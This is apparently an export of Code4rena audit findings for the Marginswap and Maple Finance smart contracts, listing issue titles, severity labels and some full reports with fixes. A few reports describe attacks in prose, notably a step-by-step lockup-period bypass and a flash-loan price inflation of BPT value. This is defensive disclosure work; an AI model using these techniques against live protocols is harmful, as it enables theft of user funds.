"2021-04-marginswap-findings", "body": "Role 9 in Roles.sol"}, {"title": "Several function have no entry check", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/9", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-marginswap-findings", "body": "Several function have no entry check"}, {"title": "Todo's left in code", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/8", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "Todo's left in code"}, {"title": "sortTokens can be simplified", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/7", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "sortTokens can be simplified"}, {"title": "Different solidity version in UniswapStyleLib.sol", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/6", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "Different solidity version in UniswapStyleLib.sol"}, {"title": "maintainer can be pushed out", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/5", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-marginswap-findings", "body": "maintainer can be pushed out"}, {"title": "No entry checks in crossSwap[Exact]TokensFor[Exact]Tokens", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/4", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-marginswap-findings", "body": "No entry checks in crossSwap[Exact]TokensFor[Exact]Tokens"}, {"title": "Bypass or reduction on the lockup period of Pool FDTs.", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/117", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle shw # Vulnerability details ** Editing on a previous submission to clarify more details ** ## Impact In `Pool.sol`, the lockup restriction of withdrawal (`Pool.sol#396`) can be bypassed or reduced if new liquidity providers cooperate with existing ones. ## Proof of Concept 1. A liquidity provider, Alice, deposits liquidity assets into the pool and minted some FDTs. She then waits for `lockupPeriod` days and calls `intendToWithdraw` to pass her withdrawal window. Now she is available to receive FDTs from others. 2. A new liquidity provider, Bob, deposits liquidity assets into the pool and minted some FDTs. Currently, he is not allowed to withdraw his funds by protocol design. 3. Bob and Alice agree to cooperate with each other to reduce Bob's waiting time for withdrawal. Bob transfers his FDT to Alice via the `_transfer` function. 4. Alice calls `intendToWithdraw` and waits for the `withdrawCooldown` period. Notice that Alice's `depositDate` is updated after the transfer; however, since it is calculated using a weighted timestamp, the increased amount of lockup time should be less than `lockupPeriod`. In situations where the deposit from Alice is much larger than that from Bob, Alice could only even need to wait for the `withdrawCooldown` period before she could withdraw any funds. 5. Alice then withdraws the amount of FDT that Bob transferred to her and transfers the funds (liquidity assets) to Bob. Bob successfully reduces (or bypasses) the lockup period of withdrawal. ## Tools Used None ## Recommended Mitigation Steps Force users to wait for the lockup period when transferring FDT to others. Or let the `depositDate` variable record the timestamp of the last operation instead of a weighted timestamp. "}, {"title": "Potential reentrancy when the borrower drawdowns the loan.", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/115", "labels": ["bug", "duplicate", "1 (Low Risk)", "sponsor disputed"], "target": "2021-04-maple-findings", "body": "Potential reentrancy when the borrower drawdowns the loan."}, {"title": "Functions calculating the value of `BPT` is vulnerable to flash-loan attacks.", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/113", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle shw # Vulnerability details ## Impact In `library/PoolLib.sol`, the return value of functions `BPTVal` and `getPoolSharesRequired` are vulnerable by flash-loan attacks. The attacker can inflate the results of these two functions by swapping a large amount of `liquidityAsset` into the pool and swaps back after the functions are called to deceive the pool contract that BPT has a relatively high price. Although currently `BPTVal` is not used and `getPoolSharesRequired` only affects the required staking amounts of token for a pool delegate, the code is vulnerable and could be misused by anyone in the future. ## Proof of Concept In the function `BPTVal`, the value of BPT in units of liquidityAsset is calculated directly from the balance of `liquidityAsset` in the Balancer pool (`PoolLib.sol#331`). For function `getPoolSharesRequired`, the required BPT to be burned also depends on the current balance of `liquidityAsset` in the pool. ## Tools Used None ## Recommended Mitigation Steps Use the balance of `liquidityAsset` in the previous block to eliminate the possibility of suffering from a flash-loan attack. A time-weight average price can also mitigate the problem. "}, {"title": "Full payment does not consider late fees of the payment", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/112", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "resolved"], "target": "2021-04-maple-findings", "body": "Full payment does not consider late fees of the payment"}, {"title": "Oracle not checked if set for an asset", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/110", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Oracle not checked if set for an asset"}, {"title": "Not ERC20 Compliant", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/108", "labels": ["bug", "1 (Low Risk)", "0 (Non-critical)", "sponsor acknowledged", "disagree with severity"], "target": "2021-04-maple-findings", "body": "Not ERC20 Compliant"}, {"title": "Default slippage value too high", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/106", "labels": ["bug", "2 (Med Risk)", "0 (Non-critical)", "sponsor acknowledged", "disagree with severity"], "target": "2021-04-maple-findings", "body": "Default slippage value too high"}, {"title": "Uniswap DOS", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/105", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Uniswap DOS"}, {"title": "getRewardForDuration will start returning misleading results if rewardsDuration is updated", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/103", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "getRewardForDuration will start returning misleading results if rewardsDuration is updated"}, {"title": "LoanLib.unwind uses globals.fundingPeriod()", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/100", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle paulius.eth # Vulnerability details ## Vulnerability details Every loan has its own fundingPeriod which is set once in the constructor: fundingPeriod = globals.fundingPeriod(); fundingPeriod in globals can change. It does not effect already deployed Loans. However, in Loan contract function unwind() calls LoanLib.unwind which checks against globals.fundingPeriod(): IGlobals globals = _globals(superFactory); // Only callable if time has passed drawdown grace period, set in MapleGlobals require(block.timestamp > createdAt.add(globals.fundingPeriod()), \"Loan:FUNDING_PERIOD_NOT_FINISHED\"); at this time, globals.fundingPeriod() could be different than this specific Loan's fundingPeriod. ## Recommended Mitigation Steps Check expiration against local fundingPeriod. "}, {"title": "Function triggerDefault should call _emitBalanceUpdateEventForCollateralLocker", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/99", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle paulius.eth # Vulnerability details ## Vulnerability details function triggerDefault should call _emitBalanceUpdateEventForCollateralLocker to emit event as the balance of CollateralLocker changes after calling LoanLib.liquidateCollateral. "}, {"title": "Interface and implementation function declaration differs", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/98", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle paulius.eth # Vulnerability details ## Vulnerability details ILoan.sol: function getNextPayment() external view returns (uint256, uint256, uint256, uint256) Loan.sol: function getNextPayment() public view returns(uint256, uint256, uint256, uint256, bool) Such discrepencies appear because implementation contracts do not inherit the interface explicitly (Loan is ILoan), so it does not give compilation errors if the declaration changes. ## Recommended Mitigation Steps Unify the declarations or even better, make the contract inherit from the interface so you can always be sure that these functions are present. "}, {"title": "Unused code", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/97", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "# Handle pauliax # Vulnerability details ## Impact contract LifeGuard3Pool has unused events: LogHealhCheckUpdate, LogNewEmergencyWithdrawal. Interfaces IHarvest and IStake are not used. contract Buoy3Pool has unused variable TIME_LIMIT and a variable that is only initialized but never used: lpToken. Style issue: BASIS_POINTS all caps indicate it should be a constant, however, an owner can change it by calling function setBasisPointsLmit. ## Recommended Mitigation Steps Make use of this code or remove it. "}, {"title": "Comment indicates that FundsWithdrawn event should be emitted only when _withdrawableDividend > 0", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/96", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle paulius.eth # Vulnerability details ## Vulnerability details A comment says: \"It emits a `FundsWithdrawn` event if the amount of withdrawn ether is greater than 0.\" However, actually, this event is always emitted (no check against 0). ## Recommended Mitigation Steps Either emit this event if _withdrawableDividend > 0 or remove the comment. "}, {"title": "Griefing attack on pool creation in PoolFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/94", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Griefing attack on pool creation in PoolFactory.sol"}, {"title": "Griefing attack on loan creation in LoanFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/93", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Griefing attack on loan creation in LoanFactory.sol"}, {"title": "Potential huge arbitrage opportunities / MPL price decrease", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/92", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Potential huge arbitrage opportunities / MPL price decrease"}, {"title": "MPL USDC distributions can be withdrawn by anyone", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/91", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-04-maple-findings", "body": "MPL USDC distributions can be withdrawn by anyone"}, {"title": "MPL reward claims of balancer pools can be exploited", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/90", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-04-maple-findings", "body": "MPL reward claims of balancer pools can be exploited"}, {"title": "Allowance Double-Spend Exploit", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/89", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Allowance Double-Spend Exploit"}, {"title": "Possible sandwich-attack when treasury converts tokens", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/88", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor disputed"], "target": "2021-04-maple-findings", "body": "Possible sandwich-attack when treasury converts tokens"}, {"title": "Missing non-zero check", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/87", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-04-maple-findings", "body": "Missing non-zero check"}, {"title": "Missing index on events", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/86", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details Some events have no index: - `BasicFDT.PointsCorrectionUpdated` - `BasicFDT.PointsCorrectionUpdated` - `BasicFDT.LossesCorrectionUpdated` - `ExtendedFDT.LossesCorrectionUpdated` - `StakeLocker.StakeDateUpdated` - `MapleTreasury.FundsTokenModified` is never used ## Impact Off-chain scripts that rely on these events are unable to filter them efficiently. ## Recommended Mitigation Steps Add the missing indexes on the events or remove the events if they are not needed on the backend. "}, {"title": "Missing check on `setManualPrice(int256 _price)`", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/85", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The `ChainlinkOracle.setManualPrice` function specifies that it can only be called \"if manualOverride == true\". This is not the case. ## Impact Assume an oracle failure happened, and the oracle needs to be manually set to prevent losses. The `setManualPrice` function succeeds and the owner might think that the oracle price is overwritten as the function would fail when `manualOverride` is not `true` according to specification. The protocol would still use the broken chainlink price feed and suffer losses. ## Recommended Mitigation Steps Add the missing `require(manualOverride == true, \"manual override not set\")` check. "}, {"title": "Wrong docs on UsdOracle", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/84", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The `UsdOracle.sol` contract states: > UsdOracle is a constant price oracle feed that always returns 1 USD in USDC precision. The USDC precision is 6, but the oracle returns a precision of 8, so the comment does not match the code. ## Impact A wrong precision on the oracle contract could lead to inflated/deflated prices. ## Recommended Mitigation Steps It seems that the current contract code assumes a precision of 8 instead of 6 and works correctly. Clarify if the documentation is wrong or the code needs to be updated. If further development is done and the comment is assumed to be correct, one might use 100 times the actual USDC token balance. "}, {"title": "Chainlink Price oracle always assumes 8 decimals", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/83", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Chainlink Price oracle always assumes 8 decimals"}, {"title": "Chainlink Price data could be stale", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/82", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details There is no check if the return value indicates stale data. This could lead to stale prices according to the Chainlink documentation: * [\"if answeredInRound < roundId could indicate stale data.\"](https://docs.chain.link/docs/developer-communications#current-notifications) * [\"A timestamp with zero value means the round is not complete and should not be used.\"](https://docs.chain.link/docs/historical-price-data#solidity) ## Impact The price oracle might return unreliable price data which can lead to a variety of different issues in the protocol, for example, for liquidating more staker & lender tokens than required at fair market price. ## Recommended Mitigation Steps Add missing checks for stale data. See example [here](https://github.com/cryptexfinance/contracts/blob/master/contracts/oracles/ChainlinkOracle.sol#L58-L65). "}, {"title": "Unnecessary check for `uint256 >= 0`", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/79", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "resolved"], "target": "2021-04-maple-findings", "body": "Unnecessary check for `uint256 >= 0`"}, {"title": "Unused variable in `PoolLib.handleDefault`", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/78", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle a_delamo # Vulnerability details ## Impact Low ## Proof of Concept Here you have a gist: https://gist.github.com/alexon1234/7b51e901ac50e524369549af70ca9eeb "}, {"title": "Outdated Compiler", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/77", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Outdated Compiler"}, {"title": "Use of mapping in place of array in `PoolFactory` and `LoanFactory`", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/76", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Use of mapping in place of array in `PoolFactory` and `LoanFactory`"}, {"title": "Using precalculated value in the Pool & Loan contracts", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/75", "labels": ["bug", "sponsor confirmed", "resolved", "G (Gas Optimization)"], "target": "2021-04-maple-findings", "body": "# Handle a_delamo # Vulnerability details ## Impact Low, just gas optimizations ## Proof of Concept Here you have a gist: https://gist.github.com/alexon1234/60973d61b49ff1f5ec83b121b33b30b1 ## Tools Used Remix ## Recommended Mitigation Steps Use constant for unchanging values "}, {"title": "Optimising Factory contracts by using structs ", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/73", "labels": ["bug", "sponsor acknowledged", "G (Gas Optimization)"], "target": "2021-04-maple-findings", "body": "Optimising Factory contracts by using structs "}, {"title": "Event emission inconsistent with NatSpec comment in ERC2222.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/72", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Event emission inconsistent with NatSpec comment in ERC2222.sol"}, {"title": "Inconsistent NatSpec comment in Pool.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/71", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Access control of external/public functions via modifiers/requires/checks is typically specified in the @dev part of the NatSpec comment. This highlight is missing for the setAdmin() function which is accessible only by Pool Delegate. ## Proof of Concept https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/Pool.sol#L329-L337 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add \u201cCan only called by the pool delegate.\u201d to @dev on L330. "}, {"title": "Inconsistent NatSpec comment in Pool.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/70", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "Inconsistent NatSpec comment in Pool.sol"}, {"title": "Missing event for critical operation of setAdmin change in Pool.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/69", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact An admin of a Pool can call claim() and setLiquidytCap() along with the Pool Delegate. This critical operation of admin status change in setAdmin function should be logged as an event for off-chain monitoring. However, such an event emission is missing here. ## Proof of Concept https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/Pool.sol#L329-L337 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Create and emit a suitable event to log admin status change in setAdmin function. "}, {"title": "Missing check for Pool state on several functions in Pool.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/68", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Missing check for Pool state on several functions in Pool.sol"}, {"title": "Missing check for stakingFee+delegateFee in Pool.sol constructor", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/66", "labels": ["1 (Low Risk)", "invalid"], "target": "2021-04-maple-findings", "body": "Missing check for stakingFee+delegateFee in Pool.sol constructor"}, {"title": "Incorrect require error message string in LoanFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/65", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The error message string for the require statement on L153 of LoanFactory.sol incorrectly uses PoolFactory as the source contract for this message instead of LoanFactory, which could be confusing when this error is hit. require(msg.sender == globals.governor(), \"PoolFactory:INVALID_GOVERNOR\"); ## Proof of Concept https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/LoanFactory.sol#L153 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Change error message to: require(msg.sender == globals.governor(), \u201cLoanFactory:INVALID_GOVERNOR\"); "}, {"title": "Inconsistent NatSpec comment in LoanFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/64", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Function pause() in LoanFactory.sol can be called by both Governor and Admin but the @dev Natspec comment incorrectly says that this is only callable by Governor. Therefore, the Natspec comment for this function is incorrect: @dev Triggers paused state. Halts functionality for certain functions. Only Governor can call this function. ## Proof of Concept https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/LoanFactory.sol#L133-L139 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Change @dev Natspec comment to correctly indicate this function can be called by both Governor and Admin "}, {"title": "Incorrect require error message string in LoanFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/63", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "Incorrect require error message string in LoanFactory.sol"}, {"title": "Incorrect require error message string in LoanFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/62", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "Incorrect require error message string in LoanFactory.sol"}, {"title": "Inconsistent NatSpec comment in LoanFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/61", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "Inconsistent NatSpec comment in LoanFactory.sol"}, {"title": "Inconsistent NatSpec comment in LoanFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/60", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "Inconsistent NatSpec comment in LoanFactory.sol"}, {"title": "Inconsistent NatSpec comment in LoanFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/59", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "Inconsistent NatSpec comment in LoanFactory.sol"}, {"title": "Inconsistent NatSpec comment in PoolFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/58", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Function pause() in PoolFactory.sol can be called by both Governor and Admin but the @dev Natspec comment incorrectly says that this is only callable by Governor. Therefore, the Natspec comment for this function is incorrect: @dev Triggers paused state. Halts functionality for certain functions. Only Governor can call this function. ## Proof of Concept https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/PoolFactory.sol#L122-L128 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Change @dev Natspec comment to correctly indicate this function can be called by both Governor and Admin "}, {"title": "Inconsistent NatSpec comment in PoolFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/57", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "Inconsistent NatSpec comment in PoolFactory.sol"}, {"title": "Inconsistent NatSpec comment in PoolFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/56", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "Inconsistent NatSpec comment in PoolFactory.sol"}, {"title": "Inconsistent NatSpec comment in PoolFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/55", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "Inconsistent NatSpec comment in PoolFactory.sol"}, {"title": "Inconsistent NatSpec comment in PoolFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/54", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "Inconsistent NatSpec comment in PoolFactory.sol"}, {"title": "Specification/Implementation mismatch on Security Multisig capability", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/53", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor disputed"], "target": "2021-04-maple-findings", "body": "Specification/Implementation mismatch on Security Multisig capability"}, {"title": "Specification/Implementation mismatch on Security Multisig capability", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/52", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-04-maple-findings", "body": "Specification/Implementation mismatch on Security Multisig capability"}, {"title": "Missing input validation on critical globals variable for zero address in MplRewardsFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/51", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor disputed"], "target": "2021-04-maple-findings", "body": "Missing input validation on critical globals variable for zero address in MplRewardsFactory.sol"}, {"title": "Missing input validation on critical globals variable for zero address in LoanFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/50", "labels": ["bug", "duplicate", "0 (Non-critical)"], "target": "2021-04-maple-findings", "body": "Missing input validation on critical globals variable for zero address in LoanFactory.sol"}, {"title": "Missing input validation on critical globals variable for zero address in PoolFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/49", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor disputed"], "target": "2021-04-maple-findings", "body": "Missing input validation on critical globals variable for zero address in PoolFactory.sol"}, {"title": "Missing input validation on critical globals variable for zero address in MapleTreasury.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/48", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor disputed"], "target": "2021-04-maple-findings", "body": "Missing input validation on critical globals variable for zero address in MapleTreasury.sol"}, {"title": "Inconsistent NatSpec comment in StakeLocker.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/47", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Access control of external/public functions via modifiers or require statements is typically specified in the @dev part of the NatSpec comment. This highlight is missing for the pull() function of StakeLocker.sol which is accessible only by isPool. ## Proof of Concept https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/StakeLocker.sol#L125-L132 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add \u201cOnly Pool can call this function.\u201d to @dev on L126. "}, {"title": "Inconsistent NatSpec comment in StakeLocker.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/46", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "Inconsistent NatSpec comment in StakeLocker.sol"}, {"title": "Missing input validation on function parameter for zero address in FundingLocker.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/45", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Missing input validation on function parameter for zero address in FundingLocker.sol"}, {"title": "Missing input validation on function parameter for zero address in CollateralLocker.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/44", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Missing input validation on function parameter for zero address in CollateralLocker.sol"}, {"title": "Missing input validation on function parameter for zero address in StakeLocker.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/43", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Missing input validation on function parameter for zero address in StakeLocker.sol"}, {"title": "Inconsistent NatSpec comment in StakeLocker.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/42", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "Inconsistent NatSpec comment in StakeLocker.sol"}, {"title": "Missing event for critical operation of Pool Delegate validity change in MapleGlobals.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/39", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Pool delegates are trusted actors (see https://github.com/maple-labs/maple-core/wiki/Security#trust-assumptions) and so any change (additions/removals) in their validity should be recorded for off-chain monitoring. However, such an event emission is missing here. ## Proof of Concept https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/MapleGlobals.sol#L232-L239 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Create and emit a suitable event to log pool delegate validity change in setPoolDelegateAllowlist function. "}, {"title": "Missing event for critical operation of setAdmin change for Protocol admin in MapleGlobals.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/38", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The protocol admin defined in MapleGlobals can pause/unpause all important functionalities of the protocol. This critical operation of admin status change in setAdmin function should be logged as an event for off-chain monitoring. However, such an event emission is missing here. ## Proof of Concept https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/MapleGlobals.sol#L148-L156 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Create and emit a suitable event to log admin status change in setAdmin function. "}, {"title": "Mirrored admin variables in global context, Pool, PoolFactory, Loan and LoanFactory may make it confusing for deployment and maintenance", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/36", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The access control model for the different contracts and how they interact is confusing and may cause issues during deployment and maintenance. Multiple contracts have the notion of admin(s), all of which use setAdmin function to update admin status. This mirroring and reuse of the admin variable is susceptible to accidents. ## Proof of Concept https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/MapleGlobals.sol#L20 https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/Pool.sol#L55 https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/PoolFactory.sol#L19 https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/Loan.sol#L58 